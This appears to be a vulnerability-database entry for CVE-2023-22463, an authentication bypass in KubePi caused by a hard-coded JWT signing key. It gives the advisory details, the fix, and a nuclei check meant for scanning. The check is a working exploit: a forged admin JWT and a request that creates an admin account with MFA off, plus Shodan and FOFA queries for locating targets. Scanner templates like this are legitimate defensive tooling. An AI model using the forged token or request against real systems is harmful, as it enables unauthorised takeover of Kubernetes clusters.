HexBrain

Browse / CVEs / CVE-2023-22463

CVE-2023-22463· fit2cloud / kubepi· CWE-798

KubePi JwtSigKey - Admin Authentication Bypass

criticalseverity
9.8CVSS score
69.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

KubePi is a k8s panel. The jwt authentication function of KubePi through version 1.6.2 uses hard-coded Jwtsigkeys, resulting in the same Jwtsigkeys for all online projects. This means that an attacker can forge any jwt token to take over the administrator account of any online project. Furthermore, they may use the administrator to take over the k8s cluster of the target enterprise. `session.go`, the use of hard-coded JwtSigKey, allows an attacker to use this value to forge jwt tokens arbitrarily. The JwtSigKey is confidential and should not be hard-coded in the code.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access and control of the Kubernetes cluster.

Fix

The vulnerability has been fixed in 1.6.3. In the patch, JWT key is specified in app.yml. If the user leaves it blank, a random key will be used. There are no workarounds aside from upgrading.

How to confirm it

Send: POST /kubepi/api/v1/users
Positive when: contains "\"password\":" and "\"isAdmin\":" and "\"createAt\":" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-22463 -u <target>

The full check
id: CVE-2023-22463

info:
  name: KubePi JwtSigKey - Admin Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    KubePi is a k8s panel. The jwt authentication function of KubePi through version 1.6.2 uses hard-coded Jwtsigkeys, resulting in the same Jwtsigkeys for all online projects. This means that an attacker can forge any jwt token to take over the administrator account of any online project. Furthermore, they may use the administrator to take over the k8s cluster of the target enterprise. `session.go`, the use of hard-coded JwtSigKey, allows an attacker to use this value to forge jwt tokens arbitrarily. The JwtSigKey is confidential and should not be hard-coded in the code.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access and control of the Kubernetes cluster.
  remediation: The vulnerability has been fixed in 1.6.3. In the patch, JWT key is specified in app.yml. If the user leaves it blank, a random key will be used. There are no workarounds aside from upgrading.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/KubePi/KubePi%20JwtSigKey%20%E7%99%BB%E9%99%86%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2023-22463.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22463
    - https://github.com/KubeOperator/KubePi/blob/da784f5532ea2495b92708cacb32703bff3a45a3/internal/api/v1/session/session.go#L35
    - https://github.com/KubeOperator/KubePi/commit/3be58b8df5bc05d2343c30371dd5fcf6a9fbbf8b
    - https://github.com/KubeOperator/KubePi/releases/tag/v1.6.3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-22463
    cwe-id: CWE-798
    epss-score: 0.69667
    epss-percentile: 0.99373
    cpe: cpe:2.3:a:fit2cloud:kubepi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fit2cloud
    product: kubepi
    shodan-query:
      - html:"kubepi"
      - http.html:"kubepi"
    fofa-query:
      - "kubepi"
      - body="kubepi"
  tags: cve,cve2023,kubepi,k8s,auth-bypass,fit2cloud,vkev,vuln
variables:
  name: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  nickname: "{{rand_base(4)}}"
  token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfX0.XxQmyfq_7jyeYvrjqsOZ4BB4GoSkfLO2NvbKCEQjld8"

http:
  - raw:
      - |
        POST /kubepi/api/v1/users HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}

        {
          "authenticate": {
               "password": "{{password}}"
          },
          "email": "{{email}}",
          "isAdmin": true,
          "mfa": {
                  "enable": false
           },
          "name": "{{name}}",
          "nickName": "{{nickname}}",
          "roles": [
          ]
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"password":'
          - '"isAdmin":'
          - '"createAt":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from